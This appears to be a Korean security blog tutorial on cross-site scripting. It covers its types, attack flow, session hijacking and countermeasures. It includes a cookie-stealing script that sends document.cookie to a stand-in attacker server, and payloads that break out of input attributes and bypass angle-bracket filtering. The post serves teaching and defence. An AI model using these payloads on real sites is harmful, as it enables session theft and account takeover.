XSS (Cross-Site Scripting)

보안노트·2024년 1월 25일
0

XSS 이란?

XSS : Cross-Site Scripting
동적으로 출력하는 페이지에 클라이언트 언어로 작성된 악의적인 스크립트를 삽입하여 비정상적인 행위를 하는 공격.
CSS와 이름이 겹치는 것을 방지하기 위해서 CSS가 아닌 XSS라고 말한다.




XSS 공격 대상


  1. 기능적인 공격 대상

  2. 엔드 포인트 단의 공격 대상

    • 사용자를 대상으로 공격.




XSS 공격 유형


  1. 피싱

    • 악의적인 사용자가 유도한 사이트로 리 다이렉션 하는 행위
  2. 악성코드 유포

    • 강제 악성코드 다운로드 및 실행 후 악성코드 설치

    • DBD(Drive by Download)

    • 랜섬웨어

      • 랜섬웨어에 감염되는 PC의 특징 : 취약한 웹 브라우저를 사용하고 있음.
  3. XSS Tunnel 또는 XSS Shell

    • 사용자 웹 브라우저 권한 획득하여 대부분의 행위가 가능하다.
  4. 세션 하이재킹

    • 사용자 세션을 탈취 후 세션 재사용. 권한 탈취
  5. CSRF

    • 악성 스크립트에 의해 악의적인 사용자가 의도한 행위를 하는 것.




공격 기법


  1. DOM-BASED XSS : 웹 브라우저에서 사용자 입력값을 통해 동적 페이지 구성

  2. REFLECTED XSS (반사형 XSS) : 서버 측에서 사용자 입력값을 통한 동적 페이지 구성

  3. STORED XSS (저장형 XSS) : 데이터베이스에 저장된 데이터를 통한 동적 페이지 구성




공격 원리 분석


1. DOM-BASED XSS 공격 원리

    1. 공격자가 사용자한테 악성 스크립트가 담긴 URL을 보내준다. (해당 URL은 공격자 서버가 아닌 신뢰된 사이트이다.)
    1. 신뢰된 사이트에 사용자는 요청을 보내고 해당 사이트는 정상적인 응답 값을 보내준다.
      응답 값을 받은 사용자는 웹 브라우저를 통해서 응답 값을 확인하게 되는데, 응답 값을 확인하기 위해 자바스크립트 엔진(해석기)을 통해서 해석하고 실행하는 과정을 거쳐야 한다.

      이 자바스크립트 해석 과정에서 이전에 악성 스크립트를 담아놓았기 때문에 이를 통해 악성 스크립트가 담긴 페이지를 구성하게 된다.
    1. 악성 스크립트가 담긴 페이지를 통해 사용자는 공격자 서버로 접근하거나 공격자가 의도한 행위를 하게 된다.




2. REFLECTED XSS 공격 원리

    1. DOM-BASED XSS와 동일하게 사용자에게 악성 스크립트가 담긴 URL을 전달한다.
    1. 사용자는 신뢰된 사이트에 접속하게 되며 해당 서비스의 어플리케이션에 악성 스크립트가 담긴 페이지를 구성하게 되며 (response message body에 악성 스크립트가 담기게 된다.)
    1. 사용자는 공격자 서버로 접근하게 되어 공격자가 의도한 행위를 하게 된다.
  • DOM-BASED XSS와 REFLECTED XSS는 URL을 통해서 전달해야 하므로 악성 스크립트가 항상 URL에 담겨 있어야 한다.

    그래서 비 지속적인 XSS (Non-Persistent)라고 불리게 된다.




3. STORED XSS 공격 원리

    1. 공격자는 사용자에게 URL을 전달하는 것이 아니라 웹 서비스에 악성 스크립트를 저장하게 된다.
  • 1-1. 타 사용자가 읽을 수 있는 게시글, 댓글 이러한 기능이 주요 공격 대상이 된다. 이로 인해 DB에 저장이 되는 것이며 저장형 XSS라고 불리는 이유이다.
  • 1-2. 주로 주요 게시글에 댓글을 남기거나, 타 사용자가 클릭하도록 유도하는 제목의 게시글을 저장한다.
    1. 악성 스크립트가 담긴 게시글을 사용자가 읽게 되는 순간 DB에 저장된 악성 스크립트가 웹 페이지로 호출이 되고 악성 스크립트가 담긴 페이지가 구성되게 된다.
    1. 사용자 웹 브라우저에서 스크립팅이 발생하게 되고 공격자가 의도한 행위를 하게 된다.
  • STORED XSS는 저장형 XSS이기 때문에 지속적인 XSS이다. (Persistent)




XSS 취약성 확인 방법


  1. alert()

  2. confirm()

  3. prompt()


위 세 가지 방법을 통해 XSS의 취약성이 존재하는지 확인이 가능하다.

  • 예시1) <script> alert(document.cookie)</script>

  • 예시2) <img src="">




세션 하이재킹(Session Hijacking)


  • 세션 탈취를 통해 아이디, 패스워드를 알지 못해도 사용자 계정을 도용할 수 있는 공격 기법이다.




STORED XSS를 통한 세션 하이재킹 공격 원리

  • DB에 저장된 악성 스크립트가 담긴 페이지를 사용자가 전달받게 되고 스크립팅이 이루어지게 되며 공격자에게 Session을 보내게 된다.

  • 사용자에게 전달받은 Session을 공격자가 도용하여 사용하게 된다.




세션 하이재킹 예시


예시 1번

  • 게시글을 작성할 때 <script>new Image().src="http://공격자 서버/session.php?session="+document.cookie</script> 와 같이 해당 스크립트를 작성하게 되면 악성 스크립트가 담긴 게시글을 읽은 사용자는 공격자 서버에 있는 session.php라는 파일에 현재 사용자의 세션 값을 획득할 수 있게 된다.

  • 세션을 탈취한 후, 개발자 도구(F12)를 활성화하여 어플리케이션의 쿠키 탭으로 들어가 탈취한 세션 값을 넣어주면 탈취한 세션을 사용할 수 있게 된다.

  • 참고) location.href를 사용하지 않은 이유는 리 다이렉션이 되기 때문이며 img 태그를 통해 더 자연스러운 세션 하이재킹을 위해서 이미지 태그를 사용하였다.




예시 2번 - 꺽쇠 사용 가능한 경우

  • 해당 시나리오는 마이페이지에서 input 값을 통해 악성 스크립트를 꺽쇠(<,>)를 이용한 방식이다.

  • 마이페이지에서 변경할 수 있는 input 값에 input 값"><script>alert(document.cookie);</script>를 입력한 후 수정을 하게 된다.

  • 참고로 예시 2번 방식은 Stored XSS 방식이다.
    WHY? 변경하려는 사용자의 정보를 DB에 저장하기 때문에 해당 스크립트까지 저장이 되어있는 상태이기 때문이다.




예시 3번 - 꺽쇠 사용이 불가능한 경우 + 더블 쿼터 사용이 가능한 경우

  • 해당 시나리오는 예시 2번을 통해 꺽쇠를 사용하여 세션 하이재킹을 하려고 하였지만 꺽쇠에 대한 시큐어 코딩이 적용되어있어 더블 쿼터(")를 사용하여 공격을 진행하는 방식이다.

  • 마찬가지로 input 값" autofocus="까지 입력을 하여 꺽쇠에 대한 시큐어 코딩을 피하며 더블 쿼터를 이용하여 스크립트를 발생시킬 수 있다.




세션 하이재킹 대응 방안


  • XSS 방지

  • HTTPOnly 헤더 : document.cookie 객체 접근 불가능.

  • 세션 발급 시 인증 ip 넣기 : ip 검증 (매 페이지 마다 검증을 해야한다는 단점이 존재). 공인 ip를 사용한다면 해당 대응 방식이 적용되지 않는다.




XSS 대응 방안




  • 용도에 맞는 대응 방안을 파악하여 대응하는 것이 좋다.

  • 숫자, 단순 문자, 문자+특수 문자, HTML 사용 여부 등을 파악 후 용도에 맞는 방법으로 대응하는 것이 좋다.

  • 추가적으로 여러 대응 방안을 합쳐서 사용하는 방식도 있다.

0개의 댓글

관련 채용 정보